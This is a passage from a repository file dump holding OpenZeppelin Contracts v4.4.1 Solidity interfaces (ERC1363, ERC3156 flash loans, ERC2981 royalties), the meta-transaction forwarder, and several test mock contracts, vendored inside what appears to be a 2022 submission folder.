    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./IERC165.sol\";\n\ninterface IERC1363 is IERC165, IERC20 {\n    /*\n     * Note: the ERC-165 identifier for this interface is 0x4bbee2df.\n     * 0x4bbee2df ===\n     *   bytes4(keccak256('transferAndCall(address,uint256)')) ^\n     *   bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^\n     *   bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^\n     *   bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))\n     */\n\n    /*\n     * Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.\n     * 0xfb9ec8ce ===\n     *   bytes4(keccak256('approveAndCall(address,uint256)')) ^\n     *   bytes4(keccak256('approveAndCall(address,uint256,bytes)'))\n     */\n\n    /**\n     * @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver\n     * @param to address The address which you want to transfer to\n     * @param value uint256 The amount of tokens to be transferred\n     * @return true unless throwing\n     */\n    function transferAndCall(address to, uint256 value) external returns (bool);\n\n    /**\n     * @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver\n     * @param to address The address which you want to transfer to\n     * @param value uint256 The amount of tokens to be transferred\n     * @param data bytes Additional data with no specified format, sent in call to `to`\n     * @return true unless throwing\n     */\n    function transferAndCall(\n        address to,\n        uint256 value,\n        bytes memory data\n    ) external returns (bool);\n\n    /**\n     * @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver\n     * @param from address The address which you want to send tokens from\n     * @param to address The address which you want to transfer to\n     * @param value uint256 The amount of tokens to be transferred\n     * @return true unless throwing\n     */\n    function transferFromAndCall(\n        address from,\n        address to,\n        uint256 value\n    ) external returns (bool);\n\n    /**\n     * @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver\n     * @param from address The address which you want to send tokens from\n     * @param to address The address which you want to transfer to\n     * @param value uint256 The amount of tokens to be transferred\n     * @param data bytes Additional data with no specified format, sent in call to `to`\n     * @return true unless throwing\n     */\n    function transferFromAndCall(\n        address from,\n        address to,\n        uint256 value,\n        bytes memory data\n    ) external returns (bool);\n\n    /**\n     * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender\n     * and then call `onApprovalReceived` on spender.\n     * @param spender address The address which will spend the funds\n     * @param value uint256 The amount of tokens to be spent\n     */\n    function approveAndCall(address spender, uint256 value) external returns (bool);\n\n    /**\n     * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender\n     * and then call `onApprovalReceived` on spender.\n     * @param spender address The address which will spend the funds\n     * @param value uint256 The amount of tokens to be spent\n     * @param data bytes Additional data with no specified format, sent in call to `spender`\n     */\n    function approveAndCall(\n        address spender,\n        uint256 value,\n        bytes memory data\n    ) external returns (bool);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1363Receiver.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Receiver.sol)\n\npragma solidity ^0.8.0;\n\ninterface IERC1363Receiver {\n    /*\n     * Note: the ERC-165 identifier for this interface is 0x88a7ca5c.\n     * 0x88a7ca5c === bytes4(keccak256(\"onTransferReceived(address,address,uint256,bytes)\"))\n     */\n\n    /**\n     * @notice Handle the receipt of ERC1363 tokens\n     * @dev Any ERC1363 smart contract calls this function on the recipient\n     * after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the\n     * transfer. Return of other than the magic value MUST result in the\n     * transaction being reverted.\n     * Note: the token contract address is always the message sender.\n     * @param operator address The address which called `transferAndCall` or `transferFromAndCall` function\n     * @param from address The address which are token transferred from\n     * @param value uint256 The amount of tokens transferred\n     * @param data bytes Additional data with no specified format\n     * @return `bytes4(keccak256(\"onTransferReceived(address,address,uint256,bytes)\"))`\n     *  unless throwing\n     */\n    function onTransferReceived(\n        address operator,\n        address from,\n        uint256 value,\n        bytes memory data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1363Spender.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Spender.sol)\n\npragma solidity ^0.8.0;\n\ninterface IERC1363Spender {\n    /*\n     * Note: the ERC-165 identifier for this interface is 0x7b04a2d0.\n     * 0x7b04a2d0 === bytes4(keccak256(\"onApprovalReceived(address,uint256,bytes)\"))\n     */\n\n    /**\n     * @notice Handle the approval of ERC1363 tokens\n     * @dev Any ERC1363 smart contract calls this function on the recipient\n     * after an `approve`. This function MAY throw to revert and reject the\n     * approval. Return of other than the magic value MUST result in the\n     * transaction being reverted.\n     * Note: the token contract address is always the message sender.\n     * @param owner address The address which called `approveAndCall` function\n     * @param value uint256 The amount of tokens to be spent\n     * @param data bytes Additional data with no specified format\n     * @return `bytes4(keccak256(\"onApprovalReceived(address,uint256,bytes)\"))`\n     *  unless throwing\n     */\n    function onApprovalReceived(\n        address owner,\n        uint256 value,\n        bytes memory data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC165.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1820Implementer.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1820Implementer.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC1820Implementer.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1820Registry.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1820Registry.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC1820Registry.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC20.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/IERC20.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC20Metadata.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/IERC20Metadata.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC2981.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard\n */\ninterface IERC2981 is IERC165 {\n    /**\n     * @dev Called with the sale price to determine how much royalty is owed and to whom.\n     * @param tokenId - the NFT asset queried for royalty information\n     * @param salePrice - the sale price of the NFT asset specified by `tokenId`\n     * @return receiver - address of who should be sent the royalty payment\n     * @return royaltyAmount - the royalty payment amount for `salePrice`\n     */\n    function royaltyInfo(uint256 tokenId, uint256 salePrice)\n        external\n        view\n        returns (address receiver, uint256 royaltyAmount);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC3156.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC3156FlashBorrower.sol\";\nimport \"./IERC3156FlashLender.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156FlashBorrower.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC3156 FlashBorrower, as defined in\n * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].\n *\n * _Available since v4.1._\n */\ninterface IERC3156FlashBorrower {\n    /**\n     * @dev Receive a flash loan.\n     * @param initiator The initiator of the loan.\n     * @param token The loan currency.\n     * @param amount The amount of tokens lent.\n     * @param fee The additional amount of tokens to repay.\n     * @param data Arbitrary data structure, intended to contain user-defined parameters.\n     * @return The keccak256 hash of \"ERC3156FlashBorrower.onFlashLoan\"\n     */\n    function onFlashLoan(\n        address initiator,\n        address token,\n        uint256 amount,\n        uint256 fee,\n        bytes calldata data\n    ) external returns (bytes32);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC3156FlashLender.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156FlashLender.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC3156FlashBorrower.sol\";\n\n/**\n * @dev Interface of the ERC3156 FlashLender, as defined in\n * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].\n *\n * _Available since v4.1._\n */\ninterface IERC3156FlashLender {\n    /**\n     * @dev The amount of currency available to be lended.\n     * @param token The loan currency.\n     * @return The amount of `token` that can be borrowed.\n     */\n    function maxFlashLoan(address token) external view returns (uint256);\n\n    /**\n     * @dev The fee to be charged for a given loan.\n     * @param token The loan currency.\n     * @param amount The amount of tokens lent.\n     * @return The amount of `token` to be charged for the loan, on top of the returned principal.\n     */\n    function flashFee(address token, uint256 amount) external view returns (uint256);\n\n    /**\n     * @dev Initiate a flash loan.\n     * @param receiver The receiver of the tokens in the loan, and the receiver of the callback.\n     * @param token The loan currency.\n     * @param amount The amount of tokens lent.\n     * @param data Arbitrary data structure, intended to contain user-defined parameters.\n     */\n    function flashLoan(\n        IERC3156FlashBorrower receiver,\n        address token,\n        uint256 amount,\n        bytes calldata data\n    ) external returns (bool);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC721.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/IERC721.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC721Enumerable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Enumerable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/extensions/IERC721Enumerable.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC721Metadata.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/extensions/IERC721Metadata.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC721Receiver.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/IERC721Receiver.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC777.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC777.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC777/IERC777.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC777Recipient.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC777Recipient.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC777/IERC777Recipient.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC777Sender.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC777Sender.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC777/IERC777Sender.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/README.adoc",
    "content": "= Interfaces\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/interfaces\n\n== List of standardized interfaces\nThese interfaces are available as `.sol` files, and also as compiler `.json` ABI files (through the npm package). These\nare usefull to interract with third party contracts that implement them.\n\n- {IERC20}\n- {IERC20Metadata}\n- {IERC165}\n- {IERC721}\n- {IERC721Receiver}\n- {IERC721Enumerable}\n- {IERC721Metadata}\n- {IERC777}\n- {IERC777Recipient}\n- {IERC777Sender}\n- {IERC1155}\n- {IERC1155Receiver}\n- {IERC1155MetadataURI}\n- {IERC1271}\n- {IERC1363}\n- {IERC1820Implementer}\n- {IERC1820Registry}\n- {IERC2612}\n- {IERC2981}\n- {IERC3156FlashLender}\n- {IERC3156FlashBorrower}\n\n== Detailed ABI\n\n{{IERC1271}}\n\n{{IERC1363}}\n\n{{IERC1363Receiver}}\n\n{{IERC1820Implementer}}\n\n{{IERC1820Registry}}\n\n{{IERC2612}}\n\n{{IERC2981}}\n\n{{IERC3156FlashLender}}\n\n{{IERC3156FlashBorrower}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/draft-IERC2612.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/draft-IERC2612.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/draft-IERC20Permit.sol\";\n\ninterface IERC2612 is IERC20Permit {}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/metatx/ERC2771Context.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n    address private _trustedForwarder;\n\n    constructor(address trustedForwarder) {\n        _trustedForwarder = trustedForwarder;\n    }\n\n    function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n        return forwarder == _trustedForwarder;\n    }\n\n    function _msgSender() internal view virtual override returns (address sender) {\n        if (isTrustedForwarder(msg.sender)) {\n            // The assembly code is more direct than the Solidity version using `abi.decode`.\n            assembly {\n                sender := shr(96, calldataload(sub(calldatasize(), 20)))\n            }\n        } else {\n            return super._msgSender();\n        }\n    }\n\n    function _msgData() internal view virtual override returns (bytes calldata) {\n        if (isTrustedForwarder(msg.sender)) {\n            return msg.data[:msg.data.length - 20];\n        } else {\n            return super._msgData();\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/metatx/MinimalForwarder.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (metatx/MinimalForwarder.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/cryptography/ECDSA.sol\";\nimport \"../utils/cryptography/draft-EIP712.sol\";\n\n/**\n * @dev Simple minimal forwarder to be used together with an ERC2771 compatible contract. See {ERC2771Context}.\n */\ncontract MinimalForwarder is EIP712 {\n    using ECDSA for bytes32;\n\n    struct ForwardRequest {\n        address from;\n        address to;\n        uint256 value;\n        uint256 gas;\n        uint256 nonce;\n        bytes data;\n    }\n\n    bytes32 private constant _TYPEHASH =\n        keccak256(\"ForwardRequest(address from,address to,uint256 value,uint256 gas,uint256 nonce,bytes data)\");\n\n    mapping(address => uint256) private _nonces;\n\n    constructor() EIP712(\"MinimalForwarder\", \"0.0.1\") {}\n\n    function getNonce(address from) public view returns (uint256) {\n        return _nonces[from];\n    }\n\n    function verify(ForwardRequest calldata req, bytes calldata signature) public view returns (bool) {\n        address signer = _hashTypedDataV4(\n            keccak256(abi.encode(_TYPEHASH, req.from, req.to, req.value, req.gas, req.nonce, keccak256(req.data)))\n        ).recover(signature);\n        return _nonces[req.from] == req.nonce && signer == req.from;\n    }\n\n    function execute(ForwardRequest calldata req, bytes calldata signature)\n        public\n        payable\n        returns (bool, bytes memory)\n    {\n        require(verify(req, signature), \"MinimalForwarder: signature does not match request\");\n        _nonces[req.from] = req.nonce + 1;\n\n        (bool success, bytes memory returndata) = req.to.call{gas: req.gas, value: req.value}(\n            abi.encodePacked(req.data, req.from)\n        );\n        // Validate that the relayer has sent enough gas for the call.\n        // See https://ronan.eth.link/blog/ethereum-gas-dangers/\n        assert(gasleft() > req.gas / 63);\n\n        return (success, returndata);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/metatx/README.adoc",
    "content": "= Meta Transactions\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/metatx\n\n== Core\n\n{{ERC2771Context}}\n\n== Utils\n\n{{MinimalForwarder}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/AccessControlEnumerableMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../access/AccessControlEnumerable.sol\";\n\ncontract AccessControlEnumerableMock is AccessControlEnumerable {\n    constructor() {\n        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n    }\n\n    function setRoleAdmin(bytes32 roleId, bytes32 adminRoleId) public {\n        _setRoleAdmin(roleId, adminRoleId);\n    }\n\n    function senderProtected(bytes32 roleId) public onlyRole(roleId) {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/AccessControlMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../access/AccessControl.sol\";\n\ncontract AccessControlMock is AccessControl {\n    constructor() {\n        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n    }\n\n    function setRoleAdmin(bytes32 roleId, bytes32 adminRoleId) public {\n        _setRoleAdmin(roleId, adminRoleId);\n    }\n\n    function senderProtected(bytes32 roleId) public onlyRole(roleId) {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/AddressImpl.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Address.sol\";\n\ncontract AddressImpl {\n    string public sharedAnswer;\n\n    event CallReturnValue(string data);\n\n    function isContract(address account) external view returns (bool) {\n        return Address.isContract(account);\n    }\n\n    function sendValue(address payable receiver, uint256 amount) external {\n        Address.sendValue(receiver, amount);\n    }\n\n    function functionCall(address target, bytes calldata data) external {\n        bytes memory returnData = Address.functionCall(target, data);\n        emit CallReturnValue(abi.decode(returnData, (string)));\n    }\n\n    function functionCallWithValue(\n        address target,\n        bytes calldata data,\n        uint256 value\n    ) external payable {\n        bytes memory returnData = Address.functionCallWithValue(target, data, value);\n        emit CallReturnValue(abi.decode(returnData, (string)));\n    }\n\n    function functionStaticCall(address target, bytes calldata data) external {\n        bytes memory returnData = Address.functionStaticCall(target, data);\n        emit CallReturnValue(abi.decode(returnData, (string)));\n    }\n\n    function functionDelegateCall(address target, bytes calldata data) external {\n        bytes memory returnData = Address.functionDelegateCall(target, data);\n        emit CallReturnValue(abi.decode(returnData, (string)));\n    }\n\n    // sendValue's tests require the contract to hold Ether\n    receive() external payable {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ArraysImpl.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Arrays.sol\";\n\ncontract ArraysImpl {\n    using Arrays for uint256[];\n\n    uint256[] private _array;\n\n    constructor(uint256[] memory array) {\n        _array = array;\n    }\n\n    function findUpperBound(uint256 element) external view returns (uint256) {\n        return _array.findUpperBound(element);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/BadBeacon.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract BadBeaconNoImpl {}\n\ncontract BadBeaconNotContract {\n    function implementation() external pure returns (address) {\n        return address(0x1);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/BitmapMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/structs/BitMaps.sol\";\n\ncontract BitMapMock {\n    using BitMaps for BitMaps.BitMap;\n\n    BitMaps.BitMap private _bitmap;\n\n    function get(uint256 index) public view returns (bool) {\n        return _bitmap.get(index);\n    }\n\n    function setTo(uint256 index, bool value) public {\n        _bitmap.setTo(index, value);\n    }\n\n    function set(uint256 index) public {\n        _bitmap.set(index);\n    }\n\n    function unset(uint256 index) public {\n        _bitmap.unset(index);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/CallReceiverMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract CallReceiverMock {\n    string public sharedAnswer;\n\n    event MockFunctionCalled();\n    event MockFunctionCalledWithArgs(uint256 a, uint256 b);\n\n    uint256[] private _array;\n\n    function mockFunction() public payable returns (string memory) {\n        emit MockFunctionCalled();\n\n        return \"0x1234\";\n    }\n\n    function mockFunctionWithArgs(uint256 a, uint256 b) public payable returns (string memory) {\n        emit MockFunctionCalledWithArgs(a, b);\n\n        return \"0x1234\";\n    }\n\n    function mockFunctionNonPayable() public returns (string memory) {\n        emit MockFunctionCalled();\n\n        return \"0x1234\";\n    }\n\n    function mockStaticFunction() public pure returns (string memory) {\n        return \"0x1234\";\n    }\n\n    function mockFunctionRevertsNoReason() public payable {\n        revert();\n    }\n\n    function mockFunctionRevertsReason() public payable {\n        revert(\"CallReceiverMock: reverting\");\n    }\n\n    function mockFunctionThrows() public payable {\n        assert(false);\n    }\n\n    function mockFunctionOutOfGas() public payable {\n        for (uint256 i = 0; ; ++i) {\n            _array.push(i);\n        }\n    }\n\n    function mockFunctionWritesStorage() public returns (string memory) {\n        sharedAnswer = \"42\";\n        return \"0x1234\";\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ClashingImplementation.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Implementation contract with an admin() function made to clash with\n * @dev TransparentUpgradeableProxy's to test correct functioning of the\n * @dev Transparent Proxy feature.\n */\ncontract ClashingImplementation {\n    function admin() external pure returns (address) {\n        return 0x0000000000000000000000000000000011111142;\n    }\n\n    function delegatedFunction() external pure returns (bool) {\n        return true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ClonesMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../proxy/Clones.sol\";\nimport \"../utils/Address.sol\";\n\ncontract ClonesMock {\n    using Address for address;\n    using Clones for address;\n\n    event NewInstance(address instance);\n\n    function clone(address implementation, bytes calldata initdata) public payable {\n        _initAndEmit(implementation.clone(), initdata);\n    }\n\n    function cloneDeterministic(\n        address implementation,\n        bytes32 salt,\n        bytes calldata initdata\n    ) public payable {\n        _initAndEmit(implementation.cloneDeterministic(salt), initdata);\n    }\n\n    function predictDeterministicAddress(address implementation, bytes32 salt) public view returns (address predicted) {\n        return implementation.predictDeterministicAddress(salt);\n    }\n\n    function _initAndEmit(address instance, bytes memory initdata) private {\n        if (initdata.length > 0) {\n            instance.functionCallWithValue(initdata, msg.value);\n        }\n        emit NewInstance(instance);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ConditionalEscrowMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/escrow/ConditionalEscrow.sol\";\n\n// mock class using ConditionalEscrow\ncontract ConditionalEscrowMock is ConditionalEscrow {\n    mapping(address => bool) private _allowed;\n\n    function setAllowed(address payee, bool allowed) public {\n        _allowed[payee] = allowed;\n    }\n\n    function withdrawalAllowed(address payee) public view override returns (bool) {\n        return _allowed[payee];\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ContextMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\ncontract ContextMock is Context {\n    event Sender(address sender);\n\n    function msgSender() public {\n        emit Sender(_msgSender());\n    }\n\n    event Data(bytes data, uint256 integerValue, string stringValue);\n\n    function msgData(uint256 integerValue, string memory stringValue) public {\n        emit Data(_msgData(), integerValue, stringValue);\n    }\n}\n\ncontract ContextMockCaller {\n    function callSender(ContextMock context) public {\n        context.msgSender();\n    }\n\n    function callData(\n        ContextMock context,\n        uint256 integerValue,\n        string memory stringValue\n    ) public {\n        context.msgData(integerValue, stringValue);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/CountersImpl.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Counters.sol\";\n\ncontract CountersImpl {\n    using Counters for Counters.Counter;\n\n    Counters.Counter private _counter;\n\n    function current() public view returns (uint256) {\n        return _counter.current();\n    }\n\n    function increment() public {\n        _counter.increment();\n    }\n\n    function decrement() public {\n        _counter.decrement();\n    }\n\n    function reset() public {\n        _counter.reset();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/Create2Impl.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Create2.sol\";\nimport \"../utils/introspection/ERC1820Implementer.sol\";\n\ncontract Create2Impl {\n    function deploy(\n        uint256 value,\n        bytes32 salt,\n        bytes memory code\n    ) public {\n        Create2.deploy(value, salt, code);\n    }\n\n    function deployERC1820Implementer(uint256 value, bytes32 salt) public {\n        Create2.deploy(value, salt, type(ERC1820Implementer).creationCode);\n    }\n\n    function computeAddress(bytes32 salt, bytes32 codeHash) public view returns (address) {\n        return Create2.computeAddress(salt, codeHash);\n    }\n\n    function computeAddressWithDeployer(\n        bytes32 salt,\n        bytes32 codeHash,\n        address deployer\n    ) public pure returns (address) {\n        return Create2.computeAddress(salt, codeHash, deployer);\n    }\n\n    receive() external payable {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/DummyImplementation.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Impl {\n    function version() public pure virtual returns (string memory);\n}\n\ncontract DummyImplementation {\n    uint256 public value;\n    string public text;\n    uint256[] public values;\n\n    function initializeNonPayable() public {\n        value = 10;\n    }\n\n    function initializePayable() public payable {\n        value = 100;\n    }\n\n    function initializeNonPayableWithValue(uint256 _value) public {\n        value = _value;\n    }\n\n    function initializePayableWithValue(uint256 _value) public payable {\n        value = _value;\n    }\n\n    function initialize(\n        uint256 _value,\n        string memory _text,\n        uint256[] memory _values\n    ) public {\n        value = _value;\n        text = _text;\n        values = _values;\n    }\n\n    function get() public pure returns (bool) {\n        return true;\n    }\n\n    function version() public pure virtual returns (string memory) {\n        return \"V1\";\n    }\n\n    function reverts() public pure {\n        require(false, \"DummyImplementation reverted\");\n    }\n}\n\ncontract DummyImplementationV2 is DummyImplementation {\n    function migrate(uint256 newVal) public payable {\n        value = newVal;\n    }\n\n    function version() public pure override returns (string memory) {\n        return \"V2\";\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ECDSAMock.sol",
